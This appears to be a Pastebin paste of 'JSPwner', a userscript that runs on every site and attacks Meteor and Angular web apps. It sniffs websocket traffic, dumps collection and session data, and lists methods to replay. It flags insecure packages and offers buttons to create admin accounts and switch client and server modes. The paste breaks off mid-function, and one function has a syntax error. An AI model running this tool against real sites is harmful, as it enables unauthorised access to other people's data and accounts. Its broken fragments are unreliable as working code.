Advertisement
Guest User

Untitled

a guest
Feb 2nd, 2018
98
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. // ==UserScript==
  2. // @name         JSPwner
  3. // @namespace    JSPwner
  4. // @version      0.2
  5. // @description  Extract data from Meteor
  6. // @author       Mix of people
  7. // @match        http://*/*
  8. // @match        https://*/*
  9. // @require      https://code.jquery.com/jquery-3.1.1.min.js
  10. // @require      https://ajax.googleapis.com/ajax/libs/jqueryui/1.12.1/jquery-ui.min.js
  11. // @resource     https://ajax.googleapis.com/ajax/libs/jqueryui/1.12.1/themes/smoothness/jquery-ui.css
  12. // @grant        unsafeWindow
  13. // @grant        GM_addStyle
  14. // @grant        GM_notification
  15. // ==/UserScript==
  16.  
  17. /**
  18.  * Checks if Meteor is loaded in the current page
  19.  * @return {Boolean}
  20.  */
  21. function meteorIsLoaded() {
  22.     return typeof(unsafeWindow.Meteor) === 'object' ? true : false;
  23. }
  24.  
  25. /**
  26.  * Checks if Blaze is loaded in the current page
  27.  * @return {Boolean}
  28.  */
  29. function isBlaze() {
  30.     if(!meteorIsLoaded()) {return false;}
  31.     return typeof(unsafeWindow.Blaze) === 'object' ? true : false;
  32. }
  33.  
  34. /**
  35.  * Checks if Blaze is loaded in the current page
  36.  * @return {Boolean}
  37.  */
  38. function isMongo() {
  39.     return typeof(unsafeWindow.Mongo) === 'object' ? true : false;
  40. }
  41.  
  42. /**
  43.  * Checks if Angular is loaded in the current page
  44.  * @return {Boolean}
  45.  */
  46. function isAngular(){
  47.     return typeof(unsafeWindow.angular) === 'object' ? true : false;
  48. }
  49.  
  50. /**
  51.  * Checks if Ionic is loaded in the current page
  52.  * @return {Boolean}
  53.  */
  54. function isIonic(){
  55.     return $('ion-view').length > 0 || $('ion-nav-bar').length > 0 || $('ion-nav-view').length > 0 || $('ion-content').length > 0  || $('ion-app').length > 0;
  56. }
  57.  
  58. /**
  59.  * Sniff the websocket messages
  60.  */
  61.  
  62. var absoluteCollections = [];
  63.  
  64. function sniffWebSocketMessages(){
  65.     var oldSend = Meteor.connection._stream.send;
  66.  
  67.     Meteor.connection._stream.send = function() {
  68.         oldSend.apply(this, arguments);
  69.         console.log(arguments[0]);
  70.  
  71.         var obj = JSON.parse(arguments[0]);
  72.  
  73.         if(typeof(obj) !== "undefined")
  74.         {
  75.             if(obj.msg === "method")
  76.             {
  77.                 var func = obj.method;
  78.                 var params = JSON.stringify(obj.params);
  79.                 functionList = $('#jspwner #jsp-functions-list');
  80.                 funcDiv = functionList.find('[name="' + func + '"]');
  81.                 if (funcDiv.length === 0) {
  82.                     // not loaded, create a stub
  83.                     r = functionList.append('<div name="' + func + '" class="jsp-new jsp-loaded">' + func + '<div class="params"> Param values ['+params+']</div></div>');
  84.                     tmplDiv = functionList.find('[name="' + func + '"]');
  85.                     alert("\""+obj.method+"\" function was found with parameters ["+params+"] try to write Meteor.call(\""+obj.method+"\","+params+") on the Javascript console. Help yourself with the database entries.");
  86.                 }
  87.             }
  88.         }
  89.     };
  90.  
  91.     Meteor.connection._stream.on('message', function (msg) {
  92.         console.log(msg);
  93.  
  94.         var obj = JSON.parse(msg);
  95.         if(obj.msg === "added")
  96.         {
  97.             var data = {id: obj.id};
  98.             var newObj = {name: obj.collection};
  99.             for (var property in obj.fields) {
  100.                 if (obj.fields.hasOwnProperty(property)) {
  101.                     data[property] = obj.fields[property];
  102.                 }
  103.             }
  104.  
  105.             var objInArray = isInHiddenCollection(newObj.name);
  106.  
  107.             if(typeof(objInArray) !== "object" || objInArray === null)
  108.             {
  109.                 newObj.data = [];
  110.                 newObj.data.push(data);
  111.                 absoluteCollections.push(newObj);
  112.             }
  113.             else
  114.             {
  115.                 objInArray.data.push(data);
  116.             }
  117.  
  118.         }
  119.     });
  120. }
  121.  
  122. function isInHiddenCollection(name) {
  123.     for (var i = 0; i < absoluteCollections.length; i++) {
  124.         var elem = absoluteCollections[i];
  125.  
  126.         if(elem.name === name)
  127.         {
  128.             return elem;
  129.         }
  130.     }
  131.  
  132.     return null;
  133. }
  134.  
  135. function getSessionParams(){
  136.     var session = unsafeWindow.Session;
  137.  
  138.     if(typeof(session) !== "undefined")
  139.     {
  140.         if(Object.keys(session.keys).length > 0)
  141.         {
  142.             return session.keys;
  143.         }
  144.     }
  145.  
  146.     return null;
  147. }
  148.  
  149. /**
  150.  * Get a sorted array of loaded Templates
  151.  * @return [String] Names of loaded templates
  152.  */
  153. function getLoadedTemplateNames() {
  154.     tmpls = [];
  155.     tmplsFiltered = [];
  156.  
  157.     if(isBlaze()) {
  158.         $.each($('div'), function(index, elem) {
  159.  
  160.             if (Blaze.getView(elem)) {
  161.                 tmpls.push(Blaze.getView(elem).name);
  162.                 if (Blaze.getView(elem).parentView) {
  163.                     tmpls.push(Blaze.getView(elem).parentView.name);
  164.                 }
  165.             }
  166.         });
  167.  
  168.         $.each($.unique(tmpls), function(index, t) {
  169.             if (/^Template\./.test(t)) {
  170.                 tmplsFiltered.push(t.replace(/^Template\./,''));
  171.             }
  172.         });
  173.     }
  174.  
  175.     if(isAngular()) {
  176.         var ngApp = retrieveData("ng-app");
  177.         var ngController = retrieveData("ng-controller");
  178.  
  179.         tmplsFiltered.push(ngApp);
  180.         tmplsFiltered.push(ngController);
  181.     }
  182.  
  183.     return tmplsFiltered.sort();
  184. }
  185.  
  186. /**
  187.  * Get an array of the functions that were implemented
  188.  * @return [String] Names of functions
  189.  */
  190. function getAngularFunctions() {   
  191.     return retrieveData("ng-click").concat(retrieveData("ng-show")).concat(retrieveData("ng-submit")));
  192. }
  193.  
  194. /**
  195.  * Get the name of the data matching the function name
  196.  * @return [String] Names of the methods
  197.  */
  198. function retrieveData(name) {
  199.     var functions = [];
  200.     var arrayToParse = $('['+name+']');
  201.  
  202.     for (var i = 0; i < arrayToParse.length; i++)
  203.     {
  204.         var index = 0;
  205.  
  206.         while( index < arrayToParse[i].attributes.length )
  207.         {
  208.             if(arrayToParse[i].attributes[index].localName === name)
  209.             {
  210.                 functions.push(arrayToParse[i].attributes[index].nodeValue);
  211.             }
  212.  
  213.             index = index + 1;
  214.         }
  215.     }
  216.  
  217.     return functions.filter( onlyUnique );
  218.  
  219. }
  220.  
  221. /**
  222.  * Make an array unique
  223.  * @return [String] Filter of the array
  224.  */
  225. function onlyUnique(value, index, self) {
  226.     return self.indexOf(value) === index;
  227. }
  228.  
  229. /**
  230.  * Search for debug or instable packages
  231.  * and for versions which are known to be vulnerable
  232.  * @return [String] Filter of the array
  233.  */
  234. function gatherMisconfigs() {
  235.     var misconfigs = [];
  236.  
  237.     if(meteorIsLoaded())
  238.     {
  239.         if(typeof(Package.insecure) !== "undefined")
  240.         {
  241.             misconfigs.push("Insecure package is installed");
  242.         }
  243.         if(typeof(Package.autopublish) !== "undefined")
  244.         {
  245.             misconfigs.push("Autopublish package is installed");
  246.         }
  247.         if(typeof(unsafeWindow.MeteorToys) !== "undefined")
  248.         {
  249.             misconfigs.push("MeteorToys package is installed");
  250.         }
  251.         if(isMongo())
  252.         {
  253.             if(typeof(Accounts) !== "undefined" && typeof(Accounts.createUser) !== "undefined")
  254.             {
  255.                 misconfigs.push("Accounts.createUser is enabled <br><br><button class='dummy-create jsp-button'>Create Dummy Account</button><br><br><button class='admin-create jsp-button'>Create Admin Account</button><br><br>");
  256.             }
  257.         }
  258.         misconfigs.push("<button class='switch-client-server jsp-button'>Switch Client/Server Mode</button><br><br/>");
  259.     }
  260.  
  261.     if(isAngular())
  262.     {
  263.         misconfigs.push("<button class='show-html jsp-button'>Show hidden HTML</button><br><br>");
  264.  
  265.         if(typeof(unsafeWindow.angular.version) !== "undefined" && unsafeWindow.angular.version.full < "1.6.0")
  266.         {
  267.             misconfigs.push("Angular version "+unsafeWindow.angular.version.full+" might be vulnerable to stored XSS");
  268.         }
  269.         else
  270.         {
  271.             misconfigs.push("Angular version is secure");
  272.         }
  273.     }
  274.  
  275.     if(isIonic())
  276.     {
  277.         misconfigs.push("Ionic is installed and does not mitigate XSS");
  278.     }
  279.  
  280.     return misconfigs;
  281. }
  282.  
  283. /**
  284.  * Get a sorted array of Templates loaded by Meteor
  285.  * @return [String] Names of templates
  286.  */
  287. function getTemplateNames() {
  288.  
  289.     loadedTmpls = getLoadedTemplateNames();
  290.  
  291.     // ignore the build in stuff
  292.     ignoredTemplates = ['body', '__body__', '__dynamic', '__dynamicWithDataContext', '__DynamicTemplateError__', '__IronDefaultLayout__', '__IronRouterNotFound__', '__IronRouterNoRoutes__', 'ensureSignedIn', 'atError', 'atForm', 'atInput', 'atTextInput', 'atCheckboxInput', 'atSelectInput', 'atRadioInput', 'atHiddenInput', 'atMessage', 'atNavButton', 'atOauth', 'atPwdForm', 'atPwdFormBtn', 'atPwdLink', 'atReCaptcha', 'atResult', 'atSep', 'atSigninLink', 'atSignupLink', 'atSocial', 'atTermsLink', 'atResendVerificationEmailLink', 'atTitle', 'fullPageAtForm', 'reactiveTable', 'reactiveTableFilter'];
  293.     var tmpls = [];
  294.  
  295.     if(isBlaze()){
  296.         for (var tmplName in Template) {
  297.             // Filter for templates and ignore those in the above list
  298.             if ($.inArray(tmplName, ignoredTemplates) === -1 && Template[tmplName] instanceof Template) {
  299.                 // remove `Template.` from  the template name
  300.                 tmpls.push(tmplName.replace(/^Template\./,''));
  301.             }
  302.         }
  303.     }
  304.  
  305.     if(isAngular()) {
  306.         tmpls = loadedTmpls;
  307.     }
  308.  
  309.     return tmpls.sort();
  310. }
  311.  
  312. /**
  313.  * Get all the collections loaded by Meteor
  314.  * @return [Object] Array of associative arrays of collection Info
  315.  *         name         Collection Name
  316.  *         instance     The collection object
  317.  *         count        Record count
  318.  *         fieldCounts  Associative array
  319.  *             key      Fields
  320.  *             value    Number of records with the above fields
  321.  */
  322. function getCollections() {
  323.     //return Meteor.connection._mongo_livedata_collections;
  324.     var cols = [];
  325.  
  326.     var name = '';
  327.  
  328.     var numCols = 0;
  329.  
  330.     if(meteorIsLoaded())
  331.     {
  332.         name = "Meteor.";
  333.     }
  334.  
  335.     // Global collections
  336.     for (var objectName in unsafeWindow) {
  337.         if (unsafeWindow[objectName] instanceof Mongo.Collection) {
  338.             cols.push({name: objectName, instance: unsafeWindow[objectName], count: unsafeWindow[objectName].find().count()});
  339.         }
  340.     }
  341.     // Meteor collections
  342.     for (var objectName in unsafeWindow.Meteor) {
  343.         if (unsafeWindow.Meteor[objectName] instanceof Mongo.Collection) {
  344.             cols.push({name: name + objectName, instance: unsafeWindow.Meteor[objectName], count: unsafeWindow.Meteor[objectName].find().count()});
  345.  
  346.             numCols = numCols + unsafeWindow.Meteor[objectName].find().count();
  347.         }
  348.     }
  349.  
  350.     // check for non-uniform fields in collection
  351.     for (var c of cols) {
  352.         counts = {};
  353.         if (c.instance.find().count() > 0) {
  354.             fields = [];
  355.             for (var r of c.instance.find().fetch()) {
  356.                 fieldNames = deepPropertyNames(r).toString();
  357.                 counts[fieldNames] = (counts[fieldNames] + 1) || 1;
  358.             }
  359.         }
  360.         c.fieldCounts = counts;
  361.     }
  362.  
  363.     // sort the collections by name
  364.     cols = cols.sort(function(a,b){
  365.         if (a.name < b.name) return -1;
  366.         if (a.name > b.name) return 1;
  367.         return 0;
  368.     });
  369.  
  370.     if(numCols === 0)
  371.     {
  372.         cols = [];
  373.         if(meteorIsLoaded())
  374.         {
  375.             for(var colName in Meteor.connection._mongo_livedata_collections)
  376.             {
  377.                 if(typeof(colName) !== "undefined");
  378.                 {
  379.                     cols.push({name: colName, instance: null, count: 0});
  380.                 }
  381.             }
  382.         }
  383.     }
  384.  
  385.     return cols;
  386. }
  387.  
  388. /**
  389.  * Escape HTML chars so as not to have XSS problems
  390.  * @return String
  391.  */
  392. function escapeHTMLchar(string){
  393.     if(typeof(string.replace) !== "undefined"){
  394.         return string.replace(/&/g, "&amp;").replace(/>/g, "&gt;").replace(/</g, "&lt;").replace(/"/g, "&quot;");
  395.     }
  396.     return string;
  397. }
  398.  
  399. /**
  400.  * Distinguish between Meteor.users and other collections
  401.  * @return Mongo.Collection
  402.  */
  403. function analyzeCollection(name){
  404.     return (name === "Meteor.users") ? unsafeWindow.Meteor.users : unsafeWindow[name];
  405. }
  406.  
  407. /**
  408.  * Update the panel
  409.  * @return null
  410.  */
  411. function updateInfo() {
  412.     //Session
  413.     sessionList = $('#jspwner #jsp-session-list');
  414.     sessionParams = getSessionParams();
  415.  
  416.  
  417.     if(sessionParams !== null)
  418.     {
  419.         keys = Object.keys(sessionParams);
  420.  
  421.         for(var i = 0; i < keys.length; i++)
  422.         {
  423.             key = keys[i];
  424.             ssnDiv = sessionList.find('[name="' + key + '"]');
  425.             if(ssnDiv.length === 0) {
  426.                 r = sessionList.append('<div name="' + key + '" class="jsp-new jsp-loaded session">' + key + '<div class="params"> Param values ['+ sessionParams[key] + '] </div> </div>');
  427.             }
  428.  
  429.             var sessData = {};
  430.             sessData[key] = sessionParams[key];
  431.             ssnDiv = $('#jsp-session-list div[name="' + key + '"]');
  432.             ssnDiv.data('sessionInfo', sessData);
  433.         }
  434.  
  435.     }
  436.  
  437.     // Templates
  438.  
  439.     templateList = $('#jspwner #jsp-templates-list');
  440.     loadedTmpls = getLoadedTemplateNames();
  441.     sortNeeded = false;
  442.     $.each(getTemplateNames(), function(index,tmplName) {
  443.         tmplDiv = templateList.find('[name="' + tmplName + '"]');
  444.         if (tmplDiv.length === 0) {
  445.             // not loaded, create a stub
  446.             r = templateList.append('<div name="' + tmplName + '" class="jsp-new">' + tmplName + '</div>');
  447.             tmplDiv = templateList.find('[name="' + tmplName + '"]');
  448.             sortNeeded = true;
  449.         }
  450.         // is loaded?
  451.         if ($.inArray(tmplName, loadedTmpls) !== -1) {
  452.             tmplDiv.removeClass('jsp-not-loaded').addClass('jsp-loaded').addClass('jsp-new');
  453.         } else {
  454.             tmplDiv.removeClass('jsp-loaded').addClass('jsp-not-loaded').removeClass('jsp-new');
  455.         }
  456.  
  457.         if(isBlaze()){
  458.             tmplDiv.data('template', Template[tmplName]);
  459.         }
  460.     });
  461.     // sort the display
  462.     if (sortNeeded) {
  463.         templateListItems = templateList.children().sort(function (a,b) {
  464.             aa = $(a).attr('name');
  465.             bb = $(b).attr('name');
  466.             if (aa > bb) { return  1; }
  467.             if (aa < bb) { return -1; }
  468.             return 0;
  469.         });
  470.         templateList.children().remove();
  471.         templateList.append(templateListItems);
  472.     }
  473.  
  474.     // Collections
  475.     //not hidden
  476.  
  477.     if(isMongo() && meteorIsLoaded()){
  478.         collectionList = $('#jspwner #jsp-collections-list');
  479.         sortNeeded = false;
  480.  
  481.         // update the items
  482.         $.each(getCollections(), function(index,col) {
  483.             uniqueFieldCount = 0;
  484.             uniqueFieldCountText = '';
  485.             loaded = col.count > 0;
  486.  
  487.             if(typeof(col.fieldCounts) !== "undefined")
  488.             {
  489.                 uniqueFieldCount = Object.keys(col.fieldCounts).length;
  490.                 if (uniqueFieldCount >= 2) {
  491.                     uniqueFieldCountText = uniqueFieldCount + ' Unique Field Sets';
  492.                 }
  493.             }
  494.             else {loaded = col.count > 0;}
  495.  
  496.             colDiv = collectionList.find('[name="' + col.name + '"]');
  497.             if (colDiv.length === 0) {
  498.                 // not loaded, create a stub
  499.                 collectionList.append('\
  500. <div name="' + col.name + '" class="collection">' + col.name + ' \
  501. <div class="size"></div> \
  502. <div class="field-counts"></div> \
  503. </div>');
  504.                 colDiv = collectionList.find('[name="' + col.name + '"]');
  505.                 sortNeeded = true;
  506.             }
  507.             // has data?
  508.             oldSize = colDiv.find('.size').text().trim();
  509.             newSize = col.count + plural(col.count,' Record');
  510.             oldFieldCounts = colDiv.find('.field-counts').text().trim();
  511.             newFieldCounts = uniqueFieldCountText;
  512.             // update loaded
  513.             if (loaded) {
  514.                 colDiv.removeClass('jsp-not-loaded').addClass('jsp-loaded');
  515.             } else {
  516.                 colDiv.removeClass('jsp-loaded').addClass('jsp-not-loaded');
  517.             }
  518.             // update size and highlight if changed
  519.             if (oldSize !== newSize) {
  520.                 colDiv.find('.size').remove();
  521.                 colDiv.append('<div class="size jsp-new">' + newSize + ' </div>');
  522.             }
  523.             // update field counts and highlight if changed
  524.             if (oldFieldCounts !== newFieldCounts) {
  525.                 //colDiv.find('.field-counts').text(uniqueFieldCountText).addClass('jsp-new');
  526.                 colDiv.find('.field-counts').remove();
  527.                 colDiv.append('<div class="field-counts jsp-new">' + uniqueFieldCountText + ' </div>');
  528.             } else {
  529.                 // move to end
  530.                 //colDiv.append(colDiv.find('.field-counts'));
  531.             }
  532.  
  533.             // bind the collection info to the div
  534.             colDiv = $('#jsp-collections-list div[name="' + col.name + '"]');
  535.  
  536.             if(col.instance !== null)
  537.             {
  538.                 colDiv.data('collectionInfo', col);
  539.             }
  540.         });
  541.         // sort the display
  542.         if (sortNeeded) {
  543.             collectionListItems = collectionList.children().sort(function (a,b) {
  544.                 aa = $(a).attr('name');
  545.                 bb = $(b).attr('name');
  546.                 if (aa > bb) { return  1; }
  547.                 if (aa < bb) { return -1; }
  548.                 return 0;
  549.             });
  550.             collectionList.children().remove();
  551.             collectionList.append(collectionListItems);
  552.         }
  553.     }
  554.  
  555.     //hidden
  556.     if(isMongo() && meteorIsLoaded()){
  557.         collectionList = $('#jspwner #jsp-collections-list-hidden');
  558.         sortNeeded = false;
  559.  
  560.         // update the items
  561.         $.each(absoluteCollections, function(index,col) {
  562.             uniqueFieldCount = 0;
  563.             uniqueFieldCountText = '';
  564.             loaded = col.data.length > 0;
  565.  
  566.             colDiv = collectionList.find('[name="' + col.name + '"]');
  567.             if (colDiv.length === 0) {
  568.                 // not loaded, create a stub
  569.                 collectionList.append('\
  570. <div name="' + col.name + '" class="collection">' + col.name + ' \
  571. <div class="size"></div> \
  572. <div class="field-counts"></div> \
  573. </div>');
  574.                 colDiv = collectionList.find('[name="' + col.name + '"]');
  575.                 sortNeeded = true;
  576.             }
  577.             // has data?
  578.             oldSize = colDiv.find('.size').text().trim();
  579.             newSize = col.data.length + plural(col.data.length,' Record');
  580.             // update loaded
  581.             if (loaded) {
  582.                 colDiv.removeClass('jsp-not-loaded').addClass('jsp-loaded');
  583.             } else {
  584.                 colDiv.removeClass('jsp-loaded').addClass('jsp-not-loaded');
  585.             }
  586.             // update size and highlight if changed
  587.             if (oldSize !== newSize) {
  588.                 colDiv.find('.size').remove();
  589.                 colDiv.append('<div class="size jsp-new">' + newSize + ' </div>');
  590.             }
  591.  
  592.             // bind the collection info to the div
  593.             colDiv = $('#jsp-collections-list-hidden div[name="' + col.name + '"]');
  594.  
  595.             colDiv.data('collectionInfo', col);
  596.         });
  597.     }
  598.  
  599.  
  600.     // Subscriptions
  601.  
  602.     if(meteorIsLoaded())
  603.     {
  604.         subsList = $('#jspwner #jsp-subscriptions-list');
  605.         sortNeeded = false;
  606.         // get the subsriptions
  607.         subs = unsafeWindow.Meteor.connection._subscriptions;
  608.         // tag subscriptions as not in use, remove later if not updated
  609.         subsList.children().attr('dead', 'dead');
  610.         // update each sub
  611.         for (var sKey in subs) {
  612.             sub = subs[sKey];
  613.             subDiv = subsList.find('[name="' + sub.name + '"]');
  614.             if (subDiv.length === 0) {
  615.                 // not loaded, create a stub
  616.                 stub = '<div name="' + sub.name + '" class="jsp-new">' + sub.name + '<div class="params"></div></div>';
  617.                 subsList.append(stub);
  618.                 subDiv = subsList.find('[name="' + sub.name + '"]');
  619.                 sortNeeded = true;
  620.             }
  621.             if (sub.ready) {
  622.                 subDiv.addClass('jsp-ready').removeClass('jsp-not-ready');
  623.             } else {
  624.                 subDiv.removeClass('jsp-ready').addClass('jsp-not-ready');
  625.             }
  626.             if (sub.params.length) {
  627.                 paramString = JSON.stringify(sub.params, function(k, v) { if (v === undefined) { return null; } return v; });
  628.                 subDiv.find('.params').text('Param Values: ' + paramString);
  629.             } else {
  630.                 subDiv.find('.params').text('');
  631.             }
  632.             // remove dead
  633.             subDiv.removeAttr('dead');
  634.         }
  635.  
  636.         // remove subscriptions no longer in use
  637.         subsList.children('[dead=dead]').remove();
  638.  
  639.         // sort the display
  640.         // TODO: sort will retrigger highlight, fix this
  641.         if (sortNeeded && 1===2) {
  642.             subsListItems = subsList.children().sort(function (a,b) {
  643.                 aa = $(a).attr('name');
  644.                 bb = $(b).attr('name');
  645.                 if (aa > bb) { return  1; }
  646.                 if (aa < bb) { return -1; }
  647.                 return 0;
  648.             });
  649.             subsList.append(subsListItems);
  650.         }
  651.     }
  652.  
  653.     //Functions
  654.  
  655.     if(isAngular()){
  656.         functionList = $('#jspwner #jsp-functions-list');
  657.  
  658.         functions = getAngularFunctions();
  659.  
  660.         $.each(functions, function(index,func) {
  661.             funcDiv = functionList.find('[name="' + func + '"]');
  662.             if (funcDiv.length === 0) {
  663.                 // not loaded, create a stub
  664.                 r = functionList.append('<div name="' + func + '" class="jsp-new">' + func + '</div>');
  665.                 tmplDiv = functionList.find('[name="' + func + '"]');
  666.             }
  667.             // is loaded?
  668.             if ($.inArray(func, functions) !== -1) {
  669.                 funcDiv.removeClass('jsp-not-loaded').addClass('jsp-loaded').addClass('jsp-new');
  670.             } else {
  671.                 funcDiv.removeClass('jsp-loaded').addClass('jsp-not-loaded').removeClass('jsp-new');
  672.             }
  673.         });
  674.     }
  675.  
  676.     //Vulnerabilities
  677.  
  678.     vulnList = $('#jspwner #jsp-vulnerabilities-list');
  679.  
  680.     misconfigs = gatherMisconfigs();
  681.  
  682.     $.each(misconfigs, function(index,conf) {
  683.         confDiv = vulnList.find('[name="' + conf + '"]');
  684.         if (confDiv.length === 0) {
  685.             // not loaded, create a stub
  686.             r = vulnList.append('<div name="' + conf + '" class="jsp-new">' + conf + '</div>');
  687.             confDiv = vulnList.find('[name="' + conf + '"]');
  688.         }
  689.         // is loaded?
  690.         if ($.inArray(conf, misconfigs) !== -1) {
  691.             confDiv.removeClass('jsp-not-loaded').addClass('jsp-loaded').addClass('jsp-new');
  692.         } else {
  693.             confDiv.removeClass('jsp-loaded').addClass('jsp-not-loaded').removeClass('jsp-new');
  694.         }
  695.     });
  696.  
  697.  
  698. }
  699.  
  700. function updateInfoOnce() {
  701.     sniffWebSocketMessages();
  702.     // the routes are static, so no need to get it on every update
  703.  
  704.     // check if Iron router is in use
  705.     // TODO: check if one of the other router platforms is in use and get those routes
  706.     if (document.links.length === 0) {
  707.         $('#jspwner .jsp-routes-header').hide();
  708.         $('#jspwner .jsp-routes-list').hide();
  709.     } else {
  710.         // get the routes div
  711.         routesList = $('#jspwner #jsp-routes-list');
  712.  
  713.         var hostname = unsafeWindow.location.hostname;
  714.  
  715.         if(typeof(Router) !== 'function' || typeof(Router.routes) !== 'object')
  716.         {
  717.             var l = document.links;
  718.  
  719.             var unique = new Set();
  720.  
  721.             for(var i=0; i<l.length; i++)
  722.             {
  723.                 var link = l[i].href;
  724.  
  725.                 if(link.indexOf(hostname) !== -1)
  726.                 {
  727.                     var nameLink = link.split("/")[link.split("/").length - 1];
  728.  
  729.                     if(!unique.has(nameLink))
  730.                     {
  731.                         routesList.append('<div name="'+nameLink+ '" class="jsp-loaded">/'+nameLink+ '&nbsp;<a href="/'+nameLink+ '" class="jsp-not-loaded">&gt;</a></div>');
  732.                         unique.add(nameLink);
  733.                     }
  734.                 }
  735.             }
  736.         }
  737.         else
  738.         {
  739.             for (var i=0; i<Router.routes.length; i++)
  740.             {
  741.                 routesList.append('<div name="' + Router.routes[i].getName() + '" class="jsp-loaded">' + Router.routes[i]._path + '&nbsp;<a href="' + Router.routes[i]._path + '" class="jsp-not-loaded">&gt;</a></div>');
  742.             }
  743.  
  744.             routesListItems = routesList.children().sort(function (a,b) {
  745.                 aa = $(a).attr('name');
  746.                 bb = $(b).attr('name');
  747.                 if (aa > bb) { return  1; }
  748.                 if (aa < bb) { return -1; }
  749.                 return 0;
  750.             });
  751.             routesList.children().remove();
  752.             routesList.append(routesListItems);
  753.         }
  754.  
  755.  
  756.  
  757.         console.log(routesList);
  758.     }
  759.  
  760. }
  761.  
  762.  
  763.  
  764. // ********************************************************************************
  765. // ********************************************************************************
  766. // ***                                                                          ***
  767. // ***                              HELPERS                                     ***
  768. // ***                                                                          ***
  769. // ********************************************************************************
  770. // ********************************************************************************
  771.  
  772.  
  773. /**
  774.  * Get the property names from an object
  775.  * @param {Object}  The object to analyze
  776.  * @param {Number}  The depth to search, default is 2
  777.  * @return [String] Array of field names
  778.  */
  779. function deepPropertyNames(o, depth) {
  780.     depth = depth || 10;
  781.     var propNames = [];
  782.  
  783.     Object.getOwnPropertyNames( o ).forEach(function( name ) {
  784.         // don't get details if..
  785.         //   too deep
  786.         //   Array
  787.         //   Date
  788.         if (typeof(o[name]) === 'object' && o[name] !== null && !(o[name] instanceof Date) && depth > 1) {
  789.             result = deepPropertyNames(o[name], depth - 1);
  790.             result.forEach(function( name2 ) {
  791.                 propNames.push(name + '.' + name2);
  792.             });
  793.         } else {
  794.             propNames.push(name);
  795.         }
  796.     });
  797.     return propNames.sort();
  798. }
  799.  
  800. /**
  801.  * Plurize the text if there is not 1 item
  802.  * @param num {Number}  Number of items used to determine if plural
  803.  * @param text {String} Text to make plural
  804.  * @return {String}     Resultant plural (or not) text
  805.  */
  806. function plural(num, text) {
  807.     if (num === 1) return text;
  808.     return text + 's';
  809. }
  810.  
  811. // ********************************************************************************
  812. // ********************************************************************************
  813. // ***                                                                          ***
  814. // ***                              EVENTS                                      ***
  815. // ***                                                                          ***
  816. // ********************************************************************************
  817. // ********************************************************************************
  818.  
  819. $('body').on('click', '.switch-client-server', function(event) {
  820.     event.preventDefault();
  821.     event.stopPropagation();
  822.  
  823.     if(Meteor.isClient)
  824.     {
  825.         Meteor.isClient = false;
  826.         Meteor.isServer = true;
  827.         alert("Server Mode ON");
  828.     }
  829.     else
  830.     {
  831.         Meteor.isClient = true;
  832.         Meteor.isServer = false;
  833.         alert("Client Mode ON");
  834.     }
  835.  
  836. });
  837.  
  838. /**
  839.  * Get click on session, show field info
  840.  */
  841.  
  842. $('body').on('click', '#jspwner #jsp-session-list div', function(event) {
  843.     event.preventDefault();
  844.     event.stopPropagation();
  845.     if ($(event.target).hasClass('session')) {
  846.         target = $(event.target);
  847.     } else {
  848.         target = $(event.target).parent();
  849.     }
  850.  
  851.     cInfo = target.data('sessionInfo');
  852.  
  853.     if (typeof(cInfo) === "undefined") {
  854.         // if no records there are no details to see
  855.         return;
  856.     }
  857.     var key = Object.keys(cInfo)[0];
  858.     var value = cInfo[key];
  859.  
  860.     cDetailsHtml = '<form method="post" id="session-change-form">\
  861. <input type="hidden" name="keyParam" value="'+key+'">';
  862.     cDetailsHtml += '<p class="jsp-text">'+ escapeHTMLchar(key) + ': </p><p class="jsp-text">[example: "' + escapeHTMLchar(value) + '"]</p> <br/> <input class="jsp-input" type="text" name="valueParam" size="10" required> <br/>';
  863.     cDetailsHtml += 'String <input type="radio" name="type" value="string"/><br/>\
  864. Boolean<input type="radio" name="type" value="bool"/><br/>\
  865. Number<input type="radio" name="type" value="num"/><br/>';
  866.     cDetailsHtml += '<br/><input class="change-session jsp-button" type="submit" value="Change">\
  867. </form>';
  868.  
  869.     // set the details info
  870.     $('#jspwner .jsp-secondary-panel .jsp-secondary-header').text('Field Details for ' + key );
  871.     $('#jspwner .jsp-secondary-panel .jsp-secondary-details').html(cDetailsHtml);
  872.  
  873.     $('#jspwner .jsp-main-panel').hide();
  874.     $('#jspwner .jsp-secondary-panel').show();
  875.  
  876. });
  877.  
  878. /**
  879.  * Get click on hidden collections, show field info
  880.  */
  881.  
  882. $('body').on('click', '#jspwner #jsp-collections-list-hidden div', function(event) {
  883.     event.preventDefault();
  884.     event.stopPropagation();
  885.     if ($(event.target).hasClass('collection')) {
  886.         target = $(event.target);
  887.     } else {
  888.         target = $(event.target).parent();
  889.     }
  890.  
  891.     cInfo = target.data('collectionInfo');
  892.  
  893.     if (typeof(cInfo) === "undefined" || cInfo.count === 0) {
  894.         // if no records there are no details to see
  895.         return;
  896.     }
  897.  
  898.     data = cInfo.data;
  899.  
  900.     cDetailsHtml = '<div class="header"><table cellspacing="10" valign="top" style="width:100%">';
  901.     for (var i = 0; i < data.length; i++) {
  902.         cDetailsHtml += '<tr>';
  903.         var coll = data[i];
  904.         var isUsers = (cInfo.name === "Meteor.users") ? true : false;
  905.  
  906.         for(var k of Object.keys(coll))
  907.         {
  908.             cDetailsHtml += '<td><h1 class="change-color">   ' + escapeHTMLchar(k) + '</h1></td><th><h1 class="jsp-loaded">' + escapeHTMLchar(coll[k]) + ' </h1></th>';
  909.         }
  910.         cDetailsHtml += '</tr>';
  911.     }
  912.     cDetailsHtml += '</table></div>';
  913.  
  914.     // set the details info
  915.     $('#jspwner .jsp-secondary-panel .jsp-secondary-header').text('Field Details for ' + cInfo.name);
  916.     $('#jspwner .jsp-secondary-panel .jsp-secondary-details').html(cDetailsHtml);
  917.  
  918.     $('#jspwner .jsp-main-panel').hide();
  919.     $('#jspwner .jsp-secondary-panel').show();
  920.  
  921. });
  922.  
  923.              /**
  924.  * Get click on collections, show field info
  925.  */
  926.  
  927. $('body').on('click', '#jspwner #jsp-collections-list div', function(event) {
  928.     event.preventDefault();
  929.     event.stopPropagation();
  930.     if ($(event.target).hasClass('collection')) {
  931.         target = $(event.target);
  932.     } else {
  933.         target = $(event.target).parent();
  934.     }
  935.  
  936.     cInfo = target.data('collectionInfo');
  937.  
  938.     if (typeof(cInfo) === "undefined" || cInfo.count === 0) {
  939.         // if no records there are no details to see
  940.         return;
  941.     }
  942.  
  943.     data = [];
  944.  
  945.     // get the fields
  946.     cDetailsHtml = '';
  947.     for (var fields of Object.keys(cInfo.fieldCounts)) {
  948.  
  949.         var insecure = cInfo.instance._isInsecure();
